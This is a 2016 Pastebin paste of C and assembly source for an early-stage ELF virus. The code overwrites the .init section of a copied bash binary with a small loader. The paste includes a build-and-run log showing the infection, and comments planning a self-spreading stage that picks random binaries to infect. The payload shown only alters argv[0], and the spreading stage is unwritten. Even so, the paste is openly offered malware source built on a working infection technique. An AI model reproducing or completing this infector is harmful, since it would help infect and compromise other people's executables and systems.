Advertisement
Madmouse

Injecting my HOT dirty payload into bash lol

Jan 5th, 2016
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.77 KB | None | 0 0
  1. /*[madmouse@malware elfinfector]$ make
  2. gcc -masm=intel -m64 -std=gnu99 -o yay yay.c
  3. nasm -f elf64 -o payload.o payload.s
  4. gcc -masm=intel -m64 -std=gnu99 -fpic -o elfinfector elfinfector.c payload.o
  5. chmod +x elfinfector
  6. cp /bin/bash ./
  7. # bash pre infection
  8. echo 'ps $$\nexit' | ./bash
  9.   PID TTY      STAT   TIME COMMAND
  10. 14305 pts/0    S+     0:00 ./bash
  11. # injecting bash
  12. ./elfinfector
  13. .init: offset: 1d570, size: 26
  14. # bash post infection
  15. echo 'ps $$\nexit' | ./bash
  16.   PID TTY      STAT   TIME COMMAND
  17. 14312 pts/0    S+     0:00 X/bash
  18. [madmouse@malware elfinfector]$
  19.  
  20. */
  21.  
  22. ////////////////////////////////////////////////////////////////////////////////
  23. // THE SCOTCH-WARE LICENSE (Revision 0):
  24. // <aaronryool/gmail.com> wrote this file. As long as you retain this notice you
  25. // can do whatever you want with this stuff. If we meet some day, and you think
  26. // this stuff is worth it, you can buy me a shot of scotch in return
  27. ////////////////////////////////////////////////////////////////////////////////
  28. //
  29. // The idea is basically to hijack the .init section, use the 27 bytes of
  30. // __init for the first stage loader, which will set up the environment for stage
  31. //  two, which will save the state of the program entry, randomly search for a
  32. // binary to latch onto, infect a random compatible binary, and then clean up,
  33. // restore the entry state, jmp into a reimplementation of __init, and continue
  34. // normal program execution...
  35.  
  36.  
  37. #include <string.h>
  38. #include <malloc.h>
  39. #include <stdio.h>
  40. #include <elf.h>
  41.  
  42. typedef struct target {
  43.     Elf64_Ehdr* eheader;
  44.     Elf64_Shdr* sheader;
  45.     Elf64_Phdr* pheader;
  46.     char* shstable;
  47. } target_t;
  48.  
  49.  
  50. // code in payload.s
  51. extern const void* loader;
  52.  
  53. int main(int argc, char** argv)
  54. {
  55.     target_t target;
  56.  
  57.     // open test binary
  58.     FILE* file = fopen("./bash", "rw+");
  59.  
  60.     // read in its elf header
  61.     target.eheader = malloc(sizeof(Elf64_Ehdr));
  62.     fread(target.eheader, sizeof(Elf64_Ehdr), 1, file);
  63.  
  64.     // see to section header offset
  65.     fseek(file, target.eheader->e_shoff, SEEK_SET);
  66.  
  67.     // read in section header
  68.     target.sheader = malloc(sizeof(Elf64_Shdr) * target.eheader->e_shnum);
  69.     fread(target.sheader, sizeof(Elf64_Shdr), target.eheader->e_shnum, file);
  70.  
  71.  
  72.     // read in section header string table section header entry
  73.     Elf64_Shdr* stsh = target.sheader + target.eheader->e_shstrndx;
  74.  
  75.     // seek to the string table itself
  76.     fseek(file, stsh->sh_offset, SEEK_SET);
  77.  
  78.     // read in the section header strings table
  79.     target.shstable = malloc(stsh->sh_size);
  80.     fread(target.shstable, stsh->sh_size, 1, file);
  81.  
  82.     // search for the ".init" section
  83.     for(int i = 0;i < target.eheader->e_shnum;i++, target.sheader++)
  84.     {
  85.         char* name = target.shstable + target.sheader->sh_name;
  86.         if(strcmp(name, ".init") == 0)
  87.         {
  88.             // rudely shove the loader into .init, and print out stuff about it
  89.             fseek(file, target.sheader->sh_offset, SEEK_SET);
  90.             fwrite(&loader, 1, 8, file);
  91.         }
  92.     }
  93.     // seek to end of file
  94.     fseek(file, 0, SEEK_END);
  95.  
  96.     // write the stage two object to the end of the file, and prepare it for its new host
  97.  
  98.     return 0;
  99. }
  100.  
  101.  
  102.  
  103. ; payload.s
  104. [bits 64]
  105.  
  106. global loader
  107. loader:
  108.     mov rsi, qword [rsi]
  109.     mov byte [rsi], 'X'
  110.     ret
  111.  
  112. ; what it was:
  113. ;00000000004003a8 <_init>:
  114. ;  4003a8:  48 83 ec 08             sub    $0x8,%rsp
  115. ;  4003ac:  48 8b 05 3d 05 20 00    mov    0x20053d(%rip),%rax        # 6008f0 <_DYNAMIC+0x1d0>
  116. ;  4003b3:  48 85 c0                test   %rax,%rax
  117. ;  4003b6:  74 05                   je     4003bd <_init+0x15>
  118. ;  4003b8:  e8 43 00 00 00          callq  400400 <__gmon_start__@plt>
  119. ;  4003bd:  48 83 c4 08             add    $0x8,%rsp
  120. ;  4003c1:  c3                      retq
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement